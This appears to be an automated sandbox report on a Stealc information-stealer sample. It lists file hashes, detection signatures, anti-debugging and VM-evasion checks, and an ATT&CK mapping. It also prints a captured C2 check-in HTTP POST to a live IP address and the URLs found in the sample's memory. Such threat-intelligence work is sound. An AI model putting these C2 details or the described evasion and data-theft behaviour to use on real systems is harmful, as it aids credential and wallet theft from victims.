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Windows Analysis Report
QZzvG5G6VE.exe

Overview

General Information

Sample name:	QZzvG5G6VE.exe renamed because original name is a hash value
Original sample name:	9c6ce24a5ff45b882abb5ccaca3cf63b.exe
Analysis ID:	1386715
MD5:	9c6ce24a5ff45b882abb5ccaca3cf63b
SHA1:	5f3cafa1ca674e671849502b4f4b74b898a7702a
SHA256:	254d94f6404f2c42199ce1c02c405c5ace05fa77cf197c688516a7c2fb61081d
Tags:	exeStealc
Infos:

Detection

Stealc

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Stealc

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

QZzvG5G6VE.exe (PID: 5668 cmdline: C:\Users\user\Desktop\QZzvG5G6VE.exe MD5: 9C6CE24A5FF45B882ABB5CCACA3CF63B)

conhost.exe (PID: 5860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: QZzvG5G6VE.exe PID: 5668	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Snort Signatures

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 91.206.178.118

Timestamp:	192.168.2.591.206.178.11849705802044243 02/05/24-11:51:54.791411
SID:	2044243
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: http://91.206.178.118/31b57f88e9b186cd.php	Virustotal: Detection: 14%	Perma Link
Source: http://91.206.178.118/	Virustotal: Detection: 9%	Perma Link
Source: http://91.206.178.118	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: QZzvG5G6VE.exe

Virustotal: Detection: 41%

Perma Link

Machine Learning detection for sample

Source: QZzvG5G6VE.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014092E0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,	0_2_014092E0
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01422520 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_01422520
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_0140BB20 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0140BB20
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_0140BB80 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_0140BB80
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_0140A620 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,GetProcessHeap,HeapAlloc,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,	0_2_0140A620

Source: QZzvG5G6VE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: QZzvG5G6VE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AE932A FindFirstFileExW,

0_2_00AE932A

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49705 -> 91.206.178.118:80

Source: global traffic

HTTP traffic detected: POST /31b57f88e9b186cd.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFHost: 91.206.178.118Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 43 30 46 32 34 38 43 42 43 37 31 34 38 36 35 37 30 37 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 45 55 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="hwid"C5C0F248CBC71486570719------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="build"EU------JJECGHJDBFIJJJKEHCBF--

Source: Joe Sandbox View

ASN Name: ARTNET2PL ARTNET2PL

Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_014092E0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,

0_2_014092E0

Source: unknown

Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.0000000001369000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.0000000001369000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.php
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.phpD
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000135D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.php_O

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AE1290 GetModuleHandleA,GetProcAddress,VirtualAlloc,NtUnmapViewOfSection,NtUnmapViewOfSection,LoadLibraryA,GetProcAddress,GetProcAddress,lstrlenW,CreateThread,Sleep,WaitForSingleObject,

0_2_00AE1290

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE1000	0_2_00AE1000
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AF0591	0_2_00AF0591
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE2E80	0_2_00AE2E80
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014029E8	0_2_014029E8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01402DE8	0_2_01402DE8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014031E8	0_2_014031E8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014028E8	0_2_014028E8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01402CE8	0_2_01402CE8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014030E8	0_2_014030E8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014034E8	0_2_014034E8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014027C0	0_2_014027C0
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01402BE8	0_2_01402BE8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01402FE8	0_2_01402FE8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014033E8	0_2_014033E8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01403630	0_2_01403630
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01402AE8	0_2_01402AE8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01402EE8	0_2_01402EE8
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_014032E8	0_2_014032E8

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: String function: 00AE48E0 appears 33 times

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Section loaded: netutils.dll	Jump to behavior

Source: QZzvG5G6VE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal80.troj.evad.winEXE@2/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5860:120:WilError_03

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: QZzvG5G6VE.exe

Virustotal: Detection: 41%

Source: unknown	Process created: C:\Users\user\Desktop\QZzvG5G6VE.exe C:\Users\user\Desktop\QZzvG5G6VE.exe
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: QZzvG5G6VE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: QZzvG5G6VE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

0_2_00AE1290

Source: QZzvG5G6VE.exe

Static PE information: section name: .Gk17A

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AF1550 push eax; ret		0_2_00AF1570
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AF0CA1 push ecx; ret		0_2_00AF0CB4

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_01422B80 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01422B80

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-12223

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-12230

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AE932A FindFirstFileExW,

0_2_00AE932A

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_014200F0 EntryPoint,CreateDCA,GetDeviceCaps,ReleaseDC,GetSystemInfo,GetUserDefaultLangID,GetProcessHeap,HeapAlloc,GetUserNameA,GetProcessHeap,HeapAlloc,GetComputerNameA,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,OpenEventA,CreateEventA,

0_2_014200F0

Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWiy
Source: QZzvG5G6VE.exe, 00000000.00000002.2003556694.0000000001345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	API call chain: ExitProcess graph end node	graph_0-12229
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	API call chain: ExitProcess graph end node	graph_0-12237
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	API call chain: ExitProcess graph end node	graph_0-12221
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	API call chain: ExitProcess graph end node	graph_0-12213

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AE70C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00AE70C3

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

0_2_00AE1290

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE1290 mov eax, dword ptr fs:[00000030h]		0_2_00AE1290
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_01422B80 mov eax, dword ptr fs:[00000030h]		0_2_01422B80

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AEBA43 GetProcessHeap,

0_2_00AEBA43

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE70C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AE70C3
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE481A SetUnhandledExceptionFilter,	0_2_00AE481A
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE46BE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AE46BE
Source: C:\Users\user\Desktop\QZzvG5G6VE.exe	Code function: 0_2_00AE4B13 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00AE4B13

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AE4925 cpuid

0_2_00AE4925

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_00AE45A5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00AE45A5

Source: C:\Users\user\Desktop\QZzvG5G6VE.exe

Code function: 0_2_014010C0 GetProcessHeap,HeapAlloc,GetComputerNameA,GetProcessHeap,HeapAlloc,GetUserNameA,ExitProcess,

0_2_014010C0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QZzvG5G6VE.exe PID: 5668, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QZzvG5G6VE.exe PID: 5668, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	123 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QZzvG5G6VE.exe	42%	Virustotal		Browse
QZzvG5G6VE.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://91.206.178.118	0%	Avira URL Cloud	safe
http://91.206.178.118/	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.php	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.php_O	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.phpD	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.php	14%	Virustotal		Browse
http://91.206.178.118/	10%	Virustotal		Browse
http://91.206.178.118	10%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://91.206.178.118/31b57f88e9b186cd.php	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://91.206.178.118/	QZzvG5G6VE.exe, 00000000.00000002.2003556694.0000000001369000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.206.178.118	QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.206.178.118/31b57f88e9b186cd.phpD	QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.206.178.118/31b57f88e9b186cd.php_O	QZzvG5G6VE.exe, 00000000.00000002.2003556694.000000000135D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.206.178.118	unknown	Poland		200088	ARTNET2PL	true

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1386715
Start date and time:	2024-02-05 11:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QZzvG5G6VE.exe renamed because original name is a hash value
Original Sample Name:	9c6ce24a5ff45b882abb5ccaca3cf63b.exe
Detection:	MAL
Classification:	mal80.troj.evad.winEXE@2/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 18 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.206.178.118	mrkjKujfkP.exe	Get hash	malicious	Stealc	Browse	91.206.178.118/31b57f88e9b186cd.php
91.206.178.118	vR19oQpY8c.exe	Get hash	malicious	Stealc	Browse	91.206.178.118/a9d06ea3fe859ab7/vcruntime140.dll

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARTNET2PL	mrkjKujfkP.exe	Get hash	malicious	Stealc	Browse	91.206.178.118
	vR19oQpY8c.exe	Get hash	malicious	Stealc	Browse	91.206.178.118
	sql.tmp.dll.dll	Get hash	malicious	Unknown	Browse	91.206.178.125
	UrQrIdRfCg.exe	Get hash	malicious	Unknown	Browse	185.104.112.62
	http://tldbonak.com	Get hash	malicious	Unknown	Browse	91.206.178.97
	7ECHtNYRdu.exe	Get hash	malicious	Vidar	Browse	185.104.114.24
	Wi50Ux1Ats.exe	Get hash	malicious	Vidar	Browse	185.104.114.24
	Divergencias.exe	Get hash	malicious	Maxtrilha	Browse	185.104.113.156
	Divergencias.exe	Get hash	malicious	Maxtrilha	Browse	185.104.113.156
	arm7.light	Get hash	malicious	Mirai	Browse	185.104.117.9

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.887014434340717
